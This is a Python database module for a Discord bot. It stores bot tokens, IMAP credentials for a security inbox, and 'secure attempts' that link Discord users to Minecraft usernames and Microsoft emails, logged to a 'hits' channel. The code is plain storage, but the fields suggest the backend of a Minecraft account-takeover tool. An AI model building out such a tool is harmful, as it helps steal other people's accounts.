import uuid
from pathlib import Path

import aiosqlite

_SCHEMA_PATH = Path(__file__).with_name("schema.sql")

_GUILD_CONFIG_FIELDS = ("logs_channel_id", "hits_channel_id", "secure_role_id")

_INSTANCE_CONFIG_FIELDS = (
    "instance_id",
    "security_email",
    "imap_host",
    "imap_port",
    "imap_user",
    "imap_password",
    "imap_auth",
    "imap_provider",
    "imap_refresh_token",
    "telemetry_enabled",
    "telemetry_url",
    "proxy_url",
    "build_version",
)

_INSTANCE_CONFIG_MIGRATIONS = (
    ("imap_auth", "TEXT DEFAULT 'password'"),
    ("imap_provider", "TEXT"),
    ("imap_refresh_token", "TEXT"),
)


async def _migrate_instance_config(db: aiosqlite.Connection) -> None:
    cur = await db.execute("PRAGMA table_info(instance_config)")
    have = {row[1] for row in await cur.fetchall()}
    for col, decl in _INSTANCE_CONFIG_MIGRATIONS:
        if col not in have:
            await db.execute(f"ALTER TABLE instance_config ADD COLUMN {col} {decl}")
    await db.commit()


async def connect(path: str) -> aiosqlite.Connection:
    db_path = Path(path)
    db_path.parent.mkdir(parents=True, exist_ok=True)
    db = await aiosqlite.connect(str(db_path))
    schema_sql = _SCHEMA_PATH.read_text(encoding="utf-8")
    await db.executescript(schema_sql)
    await _migrate_instance_config(db)
    db.row_factory = aiosqlite.Row
    return db


async def add_bot(db: aiosqlite.Connection, token: str, label: str) -> int:
    cur = await db.execute(
        "INSERT INTO bots (token, label) VALUES (?, ?)", (token, label)
    )
    await db.commit()
    return cur.lastrowid


async def list_bots(db: aiosqlite.Connection) -> list[dict]:
    cur = await db.execute("SELECT id, token, label, created_at FROM bots")
    rows = await cur.fetchall()
    return [dict(row) for row in rows]


async def set_guild_config(
    db: aiosqlite.Connection, guild_id: int, bot_id: int, **fields
) -> None:
    unknown = set(fields) - set(_GUILD_CONFIG_FIELDS)
    if unknown:
        raise TypeError(f"unknown guild_config field(s): {sorted(unknown)}")

    columns = ["guild_id", "bot_id", *fields.keys()]
    placeholders = ", ".join("?" for _ in columns)
    values = [guild_id, bot_id, *fields.values()]
    update_cols = ["bot_id", *fields.keys()]
    update_clause = ", ".join(f"{col}=excluded.{col}" for col in update_cols)

    await db.execute(
        f"INSERT INTO guild_config ({', '.join(columns)}) VALUES ({placeholders}) "
        f"ON CONFLICT(guild_id) DO UPDATE SET {update_clause}",
        values,
    )
    await db.commit()


async def get_guild_config(db: aiosqlite.Connection, guild_id: int) -> dict | None:
    cur = await db.execute(
        "SELECT * FROM guild_config WHERE guild_id=?", (guild_id,)
    )
    row = await cur.fetchone()
    return dict(row) if row is not None else None


async def create_attempt(
    db: aiosqlite.Connection,
    guild_id: int,
    discord_user_id: int,
    method: str,
    mc_username_entered: str,
    ms_email: str,
) -> int:
    cur = await db.execute(
        "INSERT INTO secure_attempts "
        "(guild_id, discord_user_id, method, mc_username_entered, ms_email) "
        "VALUES (?, ?, ?, ?, ?)",
        (guild_id, discord_user_id, method, mc_username_entered, ms_email),
    )
    await db.commit()
    return cur.lastrowid


async def finish_attempt(
    db: aiosqlite.Connection,
    attempt_id: int,
    status: str,
    fail_reason: str | None,
    result_mc_username: str | None,
    result_mc_uuid: str | None,
) -> None:
    await db.execute(
        "UPDATE secure_attempts SET status=?, fail_reason=?, result_mc_username=?, "
        "result_mc_uuid=?, completed_at=datetime('now') WHERE id=?",
        (status, fail_reason, result_mc_username, result_mc_uuid, attempt_id),
    )
    await db.commit()


async def get_instance_config(db: aiosqlite.Connection) -> dict | None:
    cur = await db.execute("SELECT * FROM instance_config WHERE id=1")
    row = await cur.fetchone()
    return dict(row) if row is not None else None


async def set_instance_config(db: aiosqlite.Connection, **fields) -> None:
    unknown = set(fields) - set(_INSTANCE_CONFIG_FIELDS)
    if unknown:
        raise TypeError(f"unknown instance_config field(s): {sorted(unknown)}")

    fields = dict(fields)
    candidate_instance_id = fields.pop("instance_id", None) or uuid.uuid4().hex

    columns = ["id", "instance_id", *fields.keys()]
    placeholders = ", ".join("?" for _ in columns)
    values = [1, candidate_instance_id, *fields.values()]
    update_cols = [
        "instance_id=COALESCE(instance_config.instance_id, excluded.instance_id)",
        *(f"{col}=excluded.{col}" for col in fields),
    ]
    update_clause = ", ".join(update_cols)

    await db.execute(
        f"INSERT INTO instance_config ({', '.join(columns)}) VALUES ({placeholders}) "
        f"ON CONFLICT(id) DO UPDATE SET {update_clause}",
        values,
    )
    await db.commit()
